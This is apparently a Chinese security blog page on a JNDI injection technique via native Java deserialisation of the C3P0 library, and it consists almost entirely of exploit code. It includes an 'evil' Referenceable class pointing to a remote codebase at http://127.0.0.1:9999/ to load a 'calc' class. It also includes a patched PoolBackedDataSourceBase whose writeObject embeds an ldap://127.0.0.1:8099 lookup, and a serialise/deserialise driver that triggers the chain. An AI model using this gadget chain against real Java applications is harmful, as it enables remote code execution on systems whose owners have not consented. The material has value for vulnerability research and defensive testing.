C3P0原生反序列化的JNDI打法










Last updated










Last updated
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class Test {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Field cp = clazz.getDeclaredField("connectionPoolDataSource");
cp.setAccessible(true);
cp.set(base, new evil());
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(base);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
public static class evil implements ConnectionPoolDataSource, Referenceable{
public Reference getReference() throws NamingException {
return new Reference("calc", "calc", "http://127.0.0.1:9999/");
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
}if ( contextName != null )
nameContext = (Context) initialContext.lookup( contextName );CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
new InitialContext().lookup(name);package com.mchange.v2.c3p0.impl;
import com.mchange.v2.ser.Indirector;
import com.mchange.v2.ser.SerializableUtils;
import com.sun.jndi.dns.DnsName;
import javax.naming.CompoundName;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import java.io.IOException;
import java.io.NotSerializableException;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Properties;
public class PoolBackedDataSourceBase extends IdentityTokenResolvable implements Referenceable, Serializable {
private static final long serialVersionUID = 1;
@Override
public String getIdentityToken() {
return null;
}
@Override
public void setIdentityToken(String idToken) {
}
@Override
public Reference getReference() throws NamingException {
return null;
}
private void writeObject( ObjectOutputStream oos ) throws Exception
{
CompoundName name = new CompoundName("ldap://127.0.0.1:8099/aaa", new Properties());
Class<?> clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Constructor<?> con = clazz.getDeclaredConstructors()[0];
con.setAccessible(true);
Object referenceSerialized = con.newInstance(null, null, name, null);
oos.writeShort(1); // 写入版本
oos.writeObject(referenceSerialized);
}
}